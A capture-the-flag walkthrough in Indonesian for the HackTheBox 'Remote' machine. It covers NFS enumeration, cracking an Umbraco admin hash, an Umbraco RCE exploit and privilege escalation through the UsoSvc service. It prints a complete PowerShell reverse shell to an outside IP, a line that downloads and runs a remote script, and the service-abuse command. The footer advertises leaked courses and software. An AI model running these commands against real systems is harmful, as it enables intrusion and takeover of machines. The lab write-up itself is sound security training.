HackTheBox. Bagian dari Remote. NFS, RCE di CMS Umbraco dan LPE melalui UsoSvc



Saya terus menerbitkan solusi yang dikirim ke penyelesaian mesin dari situs HackTheBox .



Pada artikel ini, kita menggali sumber daya NFS, menangani eksploitasi RCE untuk CMS Umbraco dan menemukan vektor LPE melalui UsoSvc menggunakan PowerUp.



Koneksi ke laboratorium melalui VPN. Direkomendasikan untuk tidak terhubung dari komputer kantor atau dari host di mana terdapat data penting untuk Anda, karena Anda berada dalam jaringan pribadi dengan orang-orang yang mengetahui sesuatu tentang keamanan informasi.



Informasi organisasi
, , Telegram . , , .



. , - , .



Pengintai



Mesin ini memiliki alamat IP 10.10.10.180, yang saya tambahkan ke / etc / hosts.



10.10.10.180 	remote.htb


Langkah pertama adalah memindai port yang terbuka. Karena butuh waktu lama untuk memindai semua port dengan nmap, pertama-tama saya akan melakukannya menggunakan masscan. Kami memindai semua port TCP dan UDP dari antarmuka tun0 dengan kecepatan 500 paket per detik.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500






Banyak port terbuka di host. Sekarang mari kita pindai dengan nmap untuk memfilter dan memilih yang kita butuhkan.

nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21






Sekarang, untuk mendapatkan informasi lebih rinci tentang layanan yang berjalan di port, jalankan pemindaian dengan opsi -A.



nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21






Port 111 bertanggung jawab atas NFS (memungkinkan Anda memasang sistem file jarak jauh melalui jaringan). Mari kita lihat daftar sumber daya.







Kami memiliki sumber daya yang tersedia, mari pasang sumber daya ini.







Dan di direktori ini kita menemukan Web.config dan folder Umbraco. Umbraco adalah platform sistem manajemen konten open source.







Jadi, kita perlu melihat semua konfigurasi, serta mengetahui versi Umbraco. Inilah yang bisa dicatat di Web.Config.











Temukan kredensial untuk smtp dan versi Umbraco: 7.12.4. Koraya rentan jika kredensial ada.



Titik masuk







Selanjutnya, saya membuat daftar semua file dan direktori yang ada di server jauh untuk memilih dan melihat file yang menarik.

ls -lR ./


















Setelah kisaran file dibatasi, Anda harus melihatnya (Anda dapat menggunakan grep secara dangkal untuk memilih baris seperti: user, login, pass, vers, dll.). Beginilah cara kami mencari informasi tentang keberadaan dua pengguna:











Setelah itu, kami grep lagi mencari baris admin dan ssmith. Dan kami menemukan hash untuk data pengguna.











Dan berhasil meretas kata sandi administrator.







Jika Anda melihat basis exploit-db, maka ada eksploitasi yang sudah jadi, tetapi perlu sedikit diubah.







PENGGUNA



Pertama: kami akan menentukan kredensial dan host.







Kedua, kami akan mengubah beban dengan menentukan file dan parameter yang dapat dieksekusi. Dalam hal ini, kami menggunakan ping untuk pengujian.







Segera setelah program dijalankan, kita akan melihat paket ICMP di tcpdump.











Mari muat reverse shell berikut:

$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()




Mari kita simpan di shell.ps1, mulai server http di mesin lokal.

sudo python3 -m http.server


Mari kita ubah bebannya.







Dan setelah mengeksekusi, kami mendapatkan backconnect.







Tidak ada direktori pengguna di server, jadi kami menemukan flag di Public.







AKAR



Setelah melihat informasi tentang pengguna, kami melihat hak istimewa yang menarik.







Tetapi karena ini adalah Windows Server 2019, meniru token untuk LPE tidak akan berfungsi.







Mari gunakan PowerUp untuk mencari vektor LPE. Mari unduh dari localhost dan lakukan pemeriksaan lengkap.

iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks






Dan kami memiliki izin untuk Memperbarui Layanan Orchestrator. Perbarui Orchestrator adalah layanan yang mengatur pembaruan Windows untuk Anda. Layanan ini bertanggung jawab untuk mengunduh, menginstal dan memeriksa pembaruan untuk komputer.



Mari buat shell kedua (ubah port di yang pertama) dan muat ke mesin.

wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1


Dan sekarang mari kita jalankan dengan UsoSvc.

Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"






Dan kami mendapatkan backconnect.







Anda dapat bergabung dengan kami di Telegram . Di sana Anda bisa menemukan materi menarik, bocoran kursus, dan software. Mari kumpulkan komunitas yang di dalamnya akan ada orang-orang yang berpengalaman dalam banyak bidang TI, kemudian kita selalu dapat saling membantu dalam setiap masalah TI dan keamanan informasi.



All Articles